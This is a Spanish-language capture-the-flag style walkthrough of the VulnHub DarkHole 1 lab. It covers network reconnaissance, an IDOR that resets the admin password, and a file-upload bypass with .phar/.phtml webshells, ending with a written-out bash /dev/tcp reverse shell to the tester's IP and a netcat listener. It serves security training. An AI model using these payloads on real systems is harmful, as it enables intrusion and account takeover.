VulnHub - DarkHole 1
Esta es la maquina DarkHole 1 de Vulnhub. Un laboratorio centrado en vulnerabilidades lógicas web y configuraciones locales inseguras para la escalada de privilegios.
Resumen de Técnicas Usadas
| Técnica | Herramienta / Concepto |
|---|---|
| Reconocimiento de Red Local | Arp-Scan, MacChanger |
| Escaneo de Red y Enumeración | Nmap, ExtractPorts, whichSystem.py |
| Enumeración Web y Fuzzing | WhatWeb, Gobuster, Fuzzing |
| Vulnerabilidad de Control de Acceso | IDOR (Cambio de contraseña Admin con Caido) |
| Ganando Acceso (RCE) | File Upload Bypass (.phar / .phtml) |
| Movimiento Lateral | SUID Binary Path Hijacking (/home/john/toto) |
| Escalada de Privilegios | Sudo Abuse (Abuso de privilegios de john) |
Creación del Entorno de Trabajo
Para empezar por la maquina lo que primero realizamos es la creación de nuestro entorno de trabajo con los siguientes comandos :
❯ mkdir Darkhole1
❯ cd Darkhole1
❯ which mkt
mkt () {
mkdir {nmap,content,exploits,scripts}
}
❯ mkt
❯ ll
drwxr-xr-x root root 0 B Wed Apr 9 07:54:32 2025 content
drwxr-xr-x root root 0 B Wed Apr 9 07:54:32 2025 exploits
drwxr-xr-x root root 0 B Wed Apr 9 07:54:32 2025 nmap
drwxr-xr-x root root 0 B Wed Apr 9 07:54:32 2025 scripts
Y antes de realiza Ping lo que procederemos hacer es un escaneo de nuestra Red, ya que en Vulnhub lo que hacemos es meter la Maquina Victima en nuestro VMware y esto es diferente a Vulnhub.
Escaneo con Arp-Scan
Lo que vamos ha hacer es ver que esta conectado a la Red Local y con esto podremos saber cual es la máquina por cierto parámetros que podemos apreciar:
❯ arp-scan -I ens33 -l
Interface: ens33, type: EN10MB, MAC: 00:0c:29:f8:f3:a8, IPv4: 192.168.1.77
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 94:6a:b0:1b:54:f5 Arcadyan Corporation
192.168.1.19 8a:be:a5:4b:6f:26 (Unknown: locally administered)
192.168.1.78 00:0c:29:f8:4e:8a VMware, Inc.
192.168.1.113 38:ca:84:b8:bb:44 HP Inc.
192.168.1.113 38:ca:84:b8:bb:44 HP Inc. (DUP: 2)
8 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.972 seconds (129.82 hosts/sec). 4 responded
Con esto lo que podemos apreciar es los equipos que estan conectados a nuestra red y con lo cual podemos identificar la IP como también podemos ver OUI que con MacChanger:
❯ macchanger -l | grep 'VMware'
1386 - 00:05:69 - VMware, Inc.
3086 - 00:0c:29 - VMware, Inc.
7161 - 00:1c:14 - VMware, Inc
10601 - 00:50:56 - VMware, Inc.
y si ponernos los primeros 3 argumentos del MAC de la maquina VMware podemos ver que este se trata de una de la Máquina Victima, ya que es la única que esta conectada, si hubiera mas de una tendiéramos que probar otras herramientas.
❯ macchanger -l | grep '00:0c:29' --color
3086 - 00:0c:29 - VMware, Inc.
Ahora que sabemos que dirección IP es la que tenemos que atacar lo que hacemos ahora es meterla en nuestra Polybar con el siguiente comando:
❯ settarget '192.168.1.78' 'Darkhole1'

Identificación de Sistema Operativo con Ping
Después de crear nuestro entorno de trabajo lo que procedemos hacer es saber a que tipo de Sistema Operativo nos estamos enfrentando, ya sea Linux o Windows, para saber esta información nos podríamos guiar por el TTL que nos da al realizar un Ping a la Maquina Victima aunque este se podría cambiar pero en Vulnhub no es el caso.
❯ ping -c 1 192.168.1.78
PING 192.168.1.78 (192.168.1.78) 56(84) bytes of data.
64 bytes from 192.168.1.78: icmp_seq=1 ttl=64 time=0.337 ms
--- 192.168.1.78 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.337/0.337/0.337/0.000 ms
Y con whichSystem.py podemos saber mejor de que Sistema Operativo se trata la Máquina Virtual y podemos ver que se trata de una Máquina Linux:
❯ whichSystem.py 192.168.1.78
192.168.1.78 (ttl -> 64): Linux
Ya con esto podemos dar por terminado el primer paso que es la creación del entorno de Trabajo y escaneo general de la Máquina Virtual.
Uso de 0 Ciberseguridad/1 Herramientas y Conceptos/Nmap/Nmap|Nmap
A continuación nos meteremos en la carpeta anteriormente creada llamada 0 Ciberseguridad/1 Herramientas y Conceptos/Nmap/Nmap|Nmap :
❯ cd nmap/
Una vez dentro de la carpeta 0 Ciberseguridad/1 Herramientas y Conceptos/Nmap/Nmap|Nmap empieza la enumeración para reconocer los Puertos que están abiertos en el la Maquina Victima con el siguiente comando:
❯ nmap -p- --open --min-rate 5000 -sS -vvv -n -Pn 192.168.1.78 -oG AllPorts
Una vez realizado el primer escaneo de la Maquina Victima lo que procedemos a hacer es la extracción de todos los puertos que nos proporciono dicho escaneo,.
La extracción de los Puertos que nos proporciono el primer comando lo haremos con una función que tenemos implementada en la zshrc llamada ExtractPorts la que hace lo siguiente:
❯ extractPorts AllPorts
│ File: extractPorts.tmp
│
│ [*] Extracting information...
│
│ [*] IP Address: 192.168.1.78
│ [*] Open ports: 22,80
│
│ [*] Ports copied to clipboard
│
Con lo que nos proporciono podremos ya realizar el siguiente escaneo con 0 Ciberseguridad/1 Herramientas y Conceptos/Nmap/Nmap|Nmap :
❯ nmap -p22,80 -sCV 192.168.1.78 -oN Targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-09 08:50 WEST
Este Escaneo de Servicios nos proporciona una mejor descripción de los servicios que están corriendo en los Puertos abiertos, con un cat podremos ver la información que nos proporciono este escaneo:
❯ cat Targeted -l js --style plain
# Nmap 7.94SVN scan initiated Wed Apr 9 08:50:00 2025 as: nmap -p22,80 -sCV -oN Targeted 192.168.1.78
Nmap scan report for darkhole.home (192.168.1.78)
Host is up (0.00023s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e4:50:d9:50:5d:91:30:50:e9:b5:7d:ca:b0:51:db:74 (RSA)
| 256 73:0c:76:86:60:63:06:00:21:c2:36:20:3b:99:c1:f7 (ECDSA)
|_ 256 54:53:4c:3f:4f:3a:26:f6:02:aa:9a:24:ea:1b:92:8c (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: DarkHole
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 00:0C:29:F8:4E:8A (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 9 08:50:07 2025 -- 1 IP address (1 host up) scanned in 6.84 seconds
Como podemos ver en el archivo Targeted podemos apreciar que la direccion IP tiene un alojamiento en el Puerto 80, esto significa que tiene un Servicio Web abierto con el Protocolos HTTP.
Uso de WhatWeb
Para poder seguir enumerando podemos utilizar WhatWeb para saber los distintos servicios que puede ser que estén corriendo por detrás de la pagina web que esta creada y que no se vieron anteriormente:
❯ whatweb -v 192.168.1.78
WhatWeb report for http://192.168.1.78
Status : 200 OK
Title : DarkHole
IP : 192.168.1.78
Country : RESERVED, ZZ
Summary : Apache[2.4.41], Cookies[PHPSESSID], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)]
Detected Plugins:
❯ whatweb -v 192.168.1.78
WhatWeb report for http://192.168.1.78
Status : 200 OK
Title : DarkHole
IP : 192.168.1.78
Country : RESERVED, ZZ
Summary : Apache[2.4.41], Cookies[PHPSESSID], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)]
Detected Plugins:
[ Apache ]
The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards.
Version : 2.4.41 (from HTTP Server Header)
Google Dorks: (3)
Website : http://httpd.apache.org/
[ Cookies ]
Display the names of cookies in the HTTP headers. The
values are not returned to save on space.
String : PHPSESSID
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
OS : Ubuntu Linux
String : Apache/2.4.41 (Ubuntu) (from server string)
HTTP Headers:
HTTP/1.1 200 OK
Date: Wed, 09 Apr 2025 08:03:23 GMT
Server: Apache/2.4.41 (Ubuntu)
Set-Cookie: PHPSESSID=58mthk4ncc0gm7shq3pjp8teeu; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 302
Connection: close
Content-Type: text/html; charset=UTF-8
Con esto podemos ver mas al detalle lo que tiene la pagina web.
Uso de Fuzzing
Ahora lo que podemos también plantearnos es usar Gobuster para hacer Fuzzing a la Pagina Web para intentar ver los posibles directorios que están escondidos detrás de la Pagina Web y si podemos encontrar algo interesante en ellos.
❯ gobuster dir -u http://192.168.1.78/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 200 -x .php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.78/
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 277]
/index.php (Status: 200) [Size: 810]
/register.php (Status: 200) [Size: 2886]
/login.php (Status: 200) [Size: 2507]
/upload (Status: 301) [Size: 313] [--> http://192.168.1.78/upload/]
/css (Status: 301) [Size: 310] [--> http://192.168.1.78/css/]
/js (Status: 301) [Size: 309] [--> http://192.168.1.78/js/]
/logout.php (Status: 302) [Size: 0] [--> login.php]
/config (Status: 301) [Size: 313] [--> http://192.168.1.78/config/]
/dashboard.php (Status: 200) [Size: 21]
/.php (Status: 403) [Size: 277]
Progress: 156212 / 2547668 (6.13%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 163030 / 2547668 (6.40%)
===============================================================
Finished
===============================================================
Nos ha encontrado bastantes archivos PHP y también Directorios que podría sernos útiles.
Exploración y Explotación del Servicio HTTP (Pagina Web)
Como pudimos ver anteriormente podemos ver que la Máquina Victima tiene un Servicio corriendo en el que se trata del Servicio HTTP en el cual se aloja en el un aplicación como puedes ser Apache o Nginx, pero como vimos en el WhatWeb podemos ver que se trata de Apache 2.4.41
Al entrar con la direccion IP podemos ver lo siguient e
{r title:URL}http://192.168.1.78

Y con la información que nos proporciono Gobuster podemos meternos mediante cambios en la URL en los directorios o archivos PHP.
{r title:URL}http://192.168.1.78/login.php

{r title:URL}http://192.168.1.78/dashboard.php

{r title:URL}http://192.168.1.78/dashboard.php

{r title:URL}http://192.168.1.78/logout.php
Lo que hace el logout.php es redirigirte al login.php, ya que no estamos registrados ni logeados
Nos registramos en la Pagina Web para ver lo que hace y saber si podemos hacer algo.

Una vez registrado en la Pagina Web podemos ver ahora si que si la URL que anteriormente no nos dejaba entrar:
{r title:URL}http://192.168.1.78/dashboard.php
solo que ahora nos da mas detalles de estos :
{r title:URL}http://192.168.1.78/dashboard.php?id=2

Como se puede ver el ID de las personas y yo estoy alojada en la ID=2, por lo tanto podemos intentar cambiarlo en la misma URL a ver si es que tiene esa vulnerabilidad.
Lo intentamos y lo que nos aparece es lo siguiente :

Eso da a entender que la pagina web esta protegida por ese tipo de ataques Básicos.
Uso de Caido
Ahora usaremos la aplicación Caido para hacer un man-in-the-middle con la pagina web y poder trastear con la pagina y mirar las posibles peticiones.
Probamos diversas opciones en el panel de Details por si podríamos ver alguna vulnerabilidad y vemos que no se podía hacer nada :

Ahora es el turno al panel de Password y mirar si este tiene algún tipo de vulnerabilidad.

Lo que podemos observar es que esta haciendo una funciones muy raras y posiblemente vulnerables para intentar el cambio de contraseñas, lo de esto podia ser lo siguiente:
password=test1234&id=2
#Si probamos con cambiar el id al 1 que podria ser el primer id que se hizo que por norma general puede ser admin
password=test1234&id=1
Cuando le damos a SEND en el caido para darle la solicitud nos sale que el codigo de estado 200 OK

Asi que podriamos probar a hacer lo mismo en el apartado de intercepted para darle despues al Forward y mirar si se a ejecutado correctamente.

Probamos a ver si a funcionado.

Y como podemos ver a funcionado correctamente y hemos accedido al Dashboard del usuario Admin y lo que vemos es que este tiene una función mas que no tenia el usuario que nos creamos anteriormente.
En esta nueva función podemos subir archivos, con lo cual podemos intentar hacer una archivo en el cual nos pueda dar pie a hacer una Reverse Shell.
Nos dice que solo podemos subir archivos jpg,png,gif pero probé con un archivo que tenia que se llamaba root.txt y me dejo subirlo asi que con Caido podemos probar con un automate que lo que hace es hacer una lista de los .Extension que queramos subir y nos lo sube y en la pagina web donde se almacenan los Upload podemos ver si nos subió con éxito todas la extensiones estilo PHP a ese repositorio y asi poder hacer una ejecución de comando para emplear posteriormente un Reverse Shell


Le damos a Run para que suba los archivos y miramos en la ubicación de la URL donde se aloja los archivos subidos si están alojados.
{r title:URL}http://192.168.1.78/upload/

Ahora lo que tenemos que hacer es probar cual de todos estos que hemos alojado nos sirve para emplear la Reverse Shell.
Uno de los que funciona es el archivo cmd.phar

Pero podemos probar con mas para saber a que mas archivos le pasa de los que le hemos pasado.
Archivos que dejan ejecucion del cmd.php modificado
{js title:Funcionan}cmd.phar
{r title:No-Funcionan}cmd.php3
{r title:No-Funcionan}cmd.php4
{r title:No-Funcionan}cmd.php5
{r title:No-Funcionan}cmd.php
{js title:Funcionan}cmd.phtml
Despues de saber cuales son las funcionales podemos hacer un una Reverse Shell con lo siguinete :
http://192.168.1.78/upload/cmd.phar?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.1.77/443%200%3E%261%27
#EJECUTAMOS ESTO MIENTRAS NUESTRO CMD ESTE ESCUCHANDO CON NETCAT
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.77] from (UNKNOWN) [192.168.1.78] 41726
bash: cannot set terminal process group (966): Inappropriate ioctl for device
bash: no job control in this shell
www-data@darkhole:/var/www/html/upload$
Una vez hecho eso se nos abrirá un cmd en nuestra Terminal.